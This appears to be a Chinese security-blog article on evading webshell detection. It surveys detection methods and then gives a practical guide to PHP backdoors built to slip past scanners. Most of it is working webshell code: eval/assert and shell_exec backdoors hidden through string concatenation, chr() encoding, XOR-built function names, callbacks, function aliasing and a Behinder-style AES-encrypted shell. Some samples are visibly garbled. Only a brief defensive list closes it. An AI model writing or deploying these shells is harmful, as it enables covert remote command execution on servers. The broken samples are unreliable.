Webshell免杀的一些思考
字数 1061 2025-08-15 21:32:28
Webshell免杀技术深度解析与实战指南
一、Webshell检测机制分析
1.1 基于流量和字符特征的检测
-
危险函数检测:系统会检测常见的危险函数调用
system():执行命令并输出结果exec():执行命令但不输出结果shell_exec():执行命令并返回字符串格式结果passthru():执行命令并返回原始格式输出proc_open():创建进程处理程序- 倒引号(
`):执行shell命令 popen,curl_exec,parse_ini_file,show_source等
-
敏感字符串检测:检测返回包中的特殊字符如"root"、"passwd"等
1.2 基于文件特征的检测
- 文件分片处理,计算每个片段的hash值
- 与特征库进行相似度对比
- 依赖样本捕捉能力和特征库完整性
1.3 基于AST语义分析
- 将代码转换为AST语法树
- 关注函数和参数的精确检测
- 类似代码审计,维护敏感函数黑名单
- 对PHP等动态语言检测效果有限
1.4 动/静态符号执行
- 检测未过滤或过滤不完全的可控变量
- 发现用户可控的代码逻辑
1.5 机器学习检测
- 需要大量样本训练
- 算法可解释性差,误报率高
1.6 RASP(运行时应用自我保护)
- 将保护程序注入应用程序
- 实时检测和阻断攻击
- 拦截应用程序到系统的所有调用
- 效果最好但成本高昂
二、Webshell免杀技术演进
2.1 初代Webshell(易被检测)
<?php echo shell_exec($_GET['cmd']);?>
<?php @eval($_POST['xssle']);?>
2.2 一代Webshell(基础混淆)
- 函数名拼接
<?php $a = 'ev'."al"; @$a($_POST['xssle']); ?>
- ASCII码转换
<?php
$_uU=chr(99).chr(104).chr(114);
$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);
$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);
$_=$_fF("",$_cC);
?>
2.3 二代Webshell(高级技术)
- 回调型Webshell
<?php usort($_POST[1], $_POST[xssle]); ?>
- 冰蝎Webshell(加密通信)
<?php
session_start();
if (isset($_GET['pass'])){
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}else{
$key=$_SESSION['k'];
$decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", $key);
$arr=explode('|',$decrptContent);
$func=$arr[0];
$params=$arr[1];
$func($params);
}
?>
- 异或操作Webshell
<?php
class TIPD{
function AJZN(){
$upf='Q'^"\x30";
$imp='R'^"\x21";
$rec='u'^"\x6";
$yba='/'^"\x4a";
$ebi=':'^"\x48";
$pvu='D'^"\x30";
$VDMX=$upf.$imp.$rec.$yba.$ebi.$pvu;
return $VDMX;
}
function __destruct(){
$UNOF=$this->AJZN();
@$UNOF($this->FJ);
}
}
$tipd=new TIPD();
@$tipd->FJ=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];
?>
三、高级免杀技术实战
3.1 类静态函数+变量替换
<?php
class Test{
public static function a(){
$a = base64_decode/POST/*\*/['a']);
return $a;
}
}
$func = 'a';
$classname = 'Test';
$a =$classname::$func();
eval/*\/*/($a);
?>
3.2 函数别名技术(PHP 5.6+)
<?php
use function \assert as test;
test($_POST[2333]);
?>
3.3 正则替换执行(PHP 7.3以下)
<?php
mbereg_replace(0', $_REQUEST[2333], 'mer');
?>
3.4 组合技术示例
<?php
use function \assert as test;
class Shell{
public static function exec(){
test($_POST['cmd']);
}
}
$class = 'Shell';
$method = 'exec';
$class::$method();
?>
四、防御与检测建议
- 多层次防御:结合静态检测和RASP动态防护
- 敏感函数监控:重点监控
eval、assert、system等函数 - 输入过滤:严格过滤所有用户输入
- 最小权限原则:Web服务器使用最低必要权限
- 定期更新:保持PHP版本和防护规则最新
- 日志审计:详细记录可疑行为日志
五、总结
Webshell免杀技术不断演进,从最初的简单混淆发展到现在的多维度隐藏技术。防御方需要理解攻击者的技术路线,构建多层次的防御体系。同时,开发人员应遵循安全编码规范,从根本上减少Webshell植入的可能性。